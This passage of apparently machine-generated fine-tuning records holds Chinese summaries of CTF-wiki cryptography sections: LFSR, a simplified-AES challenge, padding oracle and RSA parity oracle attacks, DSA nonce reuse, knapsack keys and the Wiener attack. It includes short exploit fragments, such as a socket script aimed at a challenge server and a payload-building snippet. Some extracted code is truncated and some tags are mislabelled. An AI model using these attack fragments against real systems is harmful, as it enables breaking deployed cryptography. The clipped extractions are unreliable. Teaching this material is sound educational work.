{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-6e330407bc8344122bcd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/fsr/lfsr.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/fsr/lfsr.md`\n标题：线性反馈移位寄存器 - LFSR\n章节：线性反馈移位寄存器 - LFSR > 介绍\n路径分类：crypto / crypto/streamcipher/fsr\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 这里有一些定理需要我们记一下，感兴趣的可以自行推导。\n- 线性反馈移位寄存器的反馈函数一般如下 $a_{i+n}=\\sum\\limits_{j=1}^{n}c_ja_{i+n-j}$ 其中，$c_j$ 均在某个有限域 $F_q$ 中。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- fsr\n- lfsr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 920, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "介绍", "heading_path": ["线性反馈移位寄存器 - LFSR", "介绍"], "original_id": "docs-a3a873354ad07840723e", "original_line": 424, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "source_root": "docs", "source_sha256": "e39355712e0a4051e131f623c61190326426eee636fb3cafd98b71aa37695627", "split": "train", "split_group_key": "a8f1051fa35c4eb85df41cfa", "subcategory": "crypto/streamcipher/fsr", "terms": ["密码学", "crypto", "streamcipher", "fsr", "lfsr.md"], "title": "线性反馈移位寄存器 - LFSR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-703a699869bbdf1fc6cb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/aes.md` 中的章节「2018 国赛 Crackmec」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/aes.md`\n标题：AES\n章节：AES > 2018 国赛 Crackmec\n路径分类：crypto / crypto/blockcipher/aes.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 国赛 Crackmec”展开。\n- 通过简单分析这个算法，我们可以发现这个算法是一个简化版的 AES，其基本操作为 - 9 轮迭代 - 行移位 - 变种字节替换 如下 ``c memcpy(cipher, plain, 0x10uLL);\n- 其实有的，我们可以考虑中间相遇攻击，即首先枚举所有的 cipher[4j] 与cipher[4j+1] 的字节组合，一共256\\256 种。\n- ` 根据程序流程，我们已知程序加密的结果，而 subbytes 和 shift_row 又是可逆的，所以我们可以获取最后一轮加密后的结果。\n- 此时，我们还知道 box 对应的常数，我们只是不知道上一轮中 cipher[4j] 对应的值，一共 32 位，如果我们直接爆破的话，显然不可取，因为每一轮都需要这么爆破，时间不可接受。\n- 在枚举剩下两个字节时，我们可以先计算出其与密文的异或值，然后去之前的组合中找，如果找到的话，我们就认为是正确的。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- aes.md\n- code:c\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- c: 18 行，首行 `memcpy(cipher, plain, 0x10uLL);`\n- python: 104 行，首行 `encflag = [`\n- shell: 13 行，首行 `➜ cracemec git:(master) ✗ python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3635, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2018 国赛 Crackmec", "heading_path": ["AES", "2018 国赛 Crackmec"], "original_id": "docs-b207fa01e58f30b13839", "original_line": 316, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "source_root": "docs", "source_sha256": "7459d1017710169c492f33b1cb287f00a9eca355abf34bc65ee2821fb68b7635", "split": "train", "split_group_key": "8201a80fcb9d0bb89b46533a", "subcategory": "crypto/blockcipher/aes.md", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "aes.md", "code:c", "code:python", "code:shell"], "title": "AES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/aes.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-70e807b53cb0238fa8a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_side_channel.md` 中的章节「RSA 侧信道攻击」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_side_channel.md`\n标题：RSA 侧信道攻击\n章节：RSA 侧信道攻击\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“RSA 侧信道攻击”展开。\n- 能量分析攻击（侧信道攻击）是一种能够从密码设备中获取秘密信息的密码攻击方法．与其 他攻击方法不同：这种攻击利用的是密码设备的能量消耗特征，而非密码算法的数学特性．能量分析攻击是一种非入侵式攻击，攻击者可以方便地购买实施攻击所需要的设备：所以这种攻击对智能卡之类的密码设备的安全性造成了严重威胁。\n- 能量分析攻击分为： - 简单能量分析攻击（SPA），即对能量迹进行直观分析，肉眼看即可。\n- 能量分析攻击是安全领域内非常重要的一个部分，我们只在这里简单讨论下。\n- 差分能量分析攻击（DPA），基于能量迹之间的相关系数进行分析。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-side-channel.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 263, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "RSA 侧信道攻击", "heading_path": ["RSA 侧信道攻击"], "original_id": "docs-e352734a9101b5d327ab", "original_line": 274, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_side_channel.md", "source_root": "docs", "source_sha256": "35a40b48f8bf1c21bd84fbae23814f03d326cbabdbe626313d35eb6fd7d63e12", "split": "train", "split_group_key": "8742a9df85d20964f02c78a9", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-side-channel.md"], "title": "RSA 侧信道攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_side_channel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-712e269c8d772ba2d098", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding.md`\n标题：填充方式\n章节：-- coding: utf-8 --\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- from hashlib import sha256 HOST='106.75.13.64' PORT=54321 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) def brute_force(pad, shavalue): for str in itertools.product(string.ascii_letters + string.digits, repeat=4): str='...\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- padding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "-- coding: utf-8 --", "heading_path": ["-- coding: utf-8 --"], "original_id": "docs-b2b9eb5d3110235e6d44", "original_line": 357, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "source_root": "docs", "source_sha256": "5737a702cc4b65ba4cc98ab56a46331ffff5a037b72d573d04fce1782b180597", "split": "train", "split_group_key": "7872895251fd479bffe7f2ba", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "padding.md"], "title": "填充方式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-7387890d735b8eb36ee3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/rsa.md` 中的章节「2018 Backdoor Awesome mix2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/rsa.md`\n标题：RSA 数字签名\n章节：RSA 数字签名 > 2018 Backdoor Awesome mix2\n路径分类：crypto / crypto/signature/rsa.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 Backdoor Awesome mix2”展开。\n- 我们只需要构造剩下的数即可，这里我们构造 n 为素数，使得 n-1是一个光滑数，这样就可以使用 pohlig_hellman 算法了。\n- $h(m)^e mod \\ n=pad(m)$ 这里我们已经知道 h(m)，pad(m)。\n- 本地部署 socat TCP4-LISTEN:12345,fork EXEC:./service.py。\n- 题目类似于上面的题目，唯一的区别在于对于 e 有约束，必须大于 3，所以我们不能使用 1 了。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- signature\n- rsa.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 854, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2018 Backdoor Awesome mix2", "heading_path": ["RSA 数字签名", "2018 Backdoor Awesome mix2"], "original_id": "docs-d4e49c9a5894bc97f21f", "original_line": 421, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/rsa.md", "source_root": "docs", "source_sha256": "a4f0b1340e492a1a2bbb06cb980865fca03ef5181db26e242030b66a08ca63bd", "split": "train", "split_group_key": "402afa21b3cdb0192ebd900f", "subcategory": "crypto/signature/rsa.md", "terms": ["密码学", "AI安全", "crypto", "signature", "rsa.md"], "title": "RSA 数字签名"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/rsa.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-75e3a2fdc5ed06247d78", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「解密出指定明文」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > Teaser Dragon CTF 2018 AES-128-TSB > 解密出指定明文\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解密出指定明文”展开。\n- 这一点比较简单，我们希望利用这一点来获取 gimme_flag 的密文 ``python print('get the cipher of flag') gemmi_iv1 = xor(pad('gimme_flag'), plain0) gemmi_c1 = xor(gemmi_iv1, cipher0) payload = gemmi_iv1 + gemmi_c1 + gemmi_iv1 send_data('gimme_flag') send_data(payload) flag_len, flag_c...\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 7 行，首行 `print('get the cipher of flag')`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 346, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "crypto", "heading": "解密出指定明文", "heading_path": ["Padding Oracle Attack", "Teaser Dragon CTF 2018 AES-128-TSB", "解密出指定明文"], "original_id": "docs-867bf95bc783360f34a7", "original_line": 348, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "d6f07d99a189db04bdc67b85", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md", "code:python"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-767d3f19ac1fb86566e3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/cvp.md` 中的章节「CVP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/cvp.md`\n标题：CVP\n章节：CVP\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- TODO: Add more Lattice-based cryptography (CVP specifically) application intro here.\n- CVP是Lattice-based cryptography中尤为重要的一个问题。\n- 问题的基本定义如下：给定格$L$的一组基与向量$\\mathbf{v}$，找到在$L$上离$\\mathbf{v}$最近的一个向量。\n- TODO: Make intro more descriptive and rigorous.\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- lattice\n- cvp.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 241, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "CVP", "heading_path": ["CVP"], "original_id": "docs-467f9c6dd7da75f957ed", "original_line": 219, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "source_root": "docs", "source_sha256": "ce4bff91d9553736187e65ddf810cb8485ac4e64a6943532de00afbef377f37d", "split": "train", "split_group_key": "6ff14812481451d3b5939819", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "crypto", "asymmetric", "lattice", "cvp.md"], "title": "CVP"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-77540a251284c12e3190", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/introduction.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/introduction.md`\n标题：块加密\n章节：块加密 > 概述\n路径分类：crypto / crypto/blockcipher/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 其实，我们也可以把块加密理解一种特殊的替代密码，但是其每次替代的是一大块。\n- 所谓块加密就是每次加密一块明文，常见的加密算法有 - IDEA 加密 - DES 加密 - AES 加密 块加密也是对称加密。\n- 而与此同时，明文往往可能很长也可能很短，因此在块加密时往往需要两个辅助 - padding，即 padding 到指定分组长度 - 分组加密模式，即明文分组加密的方式。\n- 而正是由于一大块，明文空间巨大，而且对于不同的密钥，我们无法做一个表进行对应相应的密文，因此必须得有 复杂 的加解密算法来加解密明密文。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 263, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "概述", "heading_path": ["块加密", "概述"], "original_id": "docs-ff340ea477e04db084ab", "original_line": 327, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/introduction.md", "source_root": "docs", "source_sha256": "153a071390db49ebc73963cfc20c58330a6b4967bd7a40e5f52f66b9b9b240a2", "split": "train", "split_group_key": "e8e7ff3123ecf2dd3fb3472d", "subcategory": "crypto/blockcipher/introduction.md", "terms": ["密码学", "crypto", "blockcipher", "introduction.md"], "title": "块加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-785d78da26ea7bd0b466", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md`\n标题：RSA 选择明密文攻击\n章节：RSA 选择明密文攻击 > RSA parity oracle > 原理\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 假设 $C=P^e \\bmod N$ 第一次时，我们可以给服务器发送 $C2^e=(2P)^e \\bmod N$ 服务器会计算得到 $2P \\bmod N$ 这里 - 2P 是偶数，它的幂次也是偶数。\n- 那么 - 服务器返回奇数，即 $2P \\bmod N$ 为奇数，则说明 2P 大于 N，且减去了奇数个 N，又因为 $2P<2N$，因此减去了一个N， 即 $\\frac{N}{2} \\leq P < N$，我们还可以考虑向下取整。\n- 服务器返回偶数，则 k 必然是一个偶数，k=2y，此时 y 必然也与 x 相等，那么 $\\frac{2xN}{2^{i+1}} \\leq P < \\frac{2xN+N}{2^{i+1}}$ 进一步我们可以这么归纳 ``c lb = 0 ub = N if server returns 1 lb = (lb+ub)/2 else: ub = (lb+ub)/2 `` 这里虽然是整除， 即下取整，但是无所谓我们在最初时已经分析了这个问题。\n- 即 $0\\leq P < \\frac{N}{2}$，我们还可以向下取整。\n- 与此同时，由于 P 必然存在，所以第 i+1 得到的这个范围和第 i 次得到的范围必然存在交集。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- rsa\n- rsa-chosen-plain-cipher.md\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `lb = 0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 992, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["RSA 选择明密文攻击", "RSA parity oracle", "原理"], "original_id": "docs-cc0e729c99d47b557485", "original_line": 231, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "source_root": "docs", "source_sha256": "533e2ebc164c0999a6dcbeff80e06752048928d69e096798072b5d973d6484d7", "split": "train", "split_group_key": "aa524947738ad1e9686af9d5", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "rsa", "rsa-chosen-plain-cipher.md", "code:c"], "title": "RSA 选择明密文攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-786b70c66bb5ef451671", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/dsa.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/dsa.md`\n标题：DSA\n章节：DSA > 安全性 > k共享 > 原理\n路径分类：crypto / crypto/signature/dsa.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 如果在两次签名的过程中共享了k，我们就可以进行攻击。\n- 假设签名的消息为m1,m2，显然，两者的r的值一样，此外 $s_1\\equiv (H(m_1)+xr)k^{-1} \\bmod q$ $s_2\\equiv (H(m_2)+xr)k^{-1} \\bmod q$ 这里我们除了x和k不知道剩下的均知道，那么 $s_1k \\equiv H(m_1)+xr$ $s_2k \\equiv H(m_2)+xr$ 两式相减 $k(s_1-s_2) \\equiv H(m_1)-H(m_2) \\bmod q$ 此时 即可解出k，进一步我们可以解出x。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- signature\n- dsa.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 278, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["DSA", "安全性", "k共享", "原理"], "original_id": "docs-bc16177ad6e7ce1e75b0", "original_line": 410, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/dsa.md", "source_root": "docs", "source_sha256": "dbc4b1d0f87687fcf070a67258b247ce609a9a9d468798660d4e27911db08f6e", "split": "train", "split_group_key": "ff1142d68b2c7acba049418b", "subcategory": "crypto/signature/dsa.md", "terms": ["密码学", "漏洞利用", "crypto", "signature", "dsa.md"], "title": "DSA"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/dsa.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-791a6d8a976ea610d9df", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/knapsack/knapsack.md` 中的章节「生成公钥」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/knapsack/knapsack.md`\n标题：背包加密\n章节：背包加密 > Merkle–Hellman > 公私钥生成 > 生成公钥\n路径分类：crypto / crypto/asymmetric/knapsack\n分块：1/1\n\n核心知识点：\n- 首先，我们生成模乘的模数 m，这里要确保 $$ m>\\sum_{i=1}^{i=n}a_i $$ 其次，我们选择模乘的乘数 w，作为私钥并且确保 $$ gcd(w,m)=1 $$ 之后，我们便可以通过如下公式生成公钥 $$ b_i \\equiv w a_i \\bmod m $$ 并将这个新的背包集 $b_i$ 和 m 作为公钥。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- knapsack\n- knapsack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "生成公钥", "heading_path": ["背包加密", "Merkle–Hellman", "公私钥生成", "生成公钥"], "original_id": "docs-e70a530e1ec5686f6525", "original_line": 216, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "source_root": "docs", "source_sha256": "ef7969d8ae8ab48cf14228a46f93cf1b3dc721afca2d9d8cc7eb6c35cbda0dcf", "split": "train", "split_group_key": "a78403d57536f9d728b99b04", "subcategory": "crypto/asymmetric/knapsack", "terms": ["密码学", "crypto", "asymmetric", "knapsack", "knapsack.md"], "title": "背包加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-7999e2bc0d13f53ac8fd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「郭（Guo）的方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 原理分析 > 郭（Guo）的方法\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“郭（Guo）的方法”展开。\n- 对于两个$e$的情况，我们可以考虑 $$ e_1d_1g - k_1(p-1)(q-1) = g\\\\ e_2d_2g - k_2(p-1)(q-1) = g $$ 简单化简可以得到下式子 $$ k_2d_1e_1 - k_1d_2e_2 = k_2 - k_1\\tag{2} $$ 两边同时除以$k_2d_1e_2$ $$ \\frac{e_1}{e_2} - \\frac{k_1d_2}{k_2d_1} = \\frac{k_2 - k_1}{k_2d_1e_2} $$ 设$d_i < N^\\alpha$，则等式右...\n- 当$k_2$和$d_1$最多为$N^\\alpha$而且$g$很小时，得到 $$\\alpha < 1/3 - \\epsilon\\ \\ \\ (\\epsilon > 0)$$ 然而即使我们得到了$(k_1d_2)/(k_2d_1)$还是无法分解$N$，原文后面还讨论了郭的提议，尝试对$k_1d_2$进行分解，这里不再讲解。\n- 郭针对不止一个$e$的情况进行研究，但是郭只研究了两个以及三个$e$的情况，上上节一样，这里我们还是使用原文内容翻译+解释的写法。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 604, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "郭（Guo）的方法", "heading_path": ["扩展维纳攻击", "原理分析", "郭（Guo）的方法"], "original_id": "docs-f8076e430a2ddabfa92a", "original_line": 293, "original_split": "train", 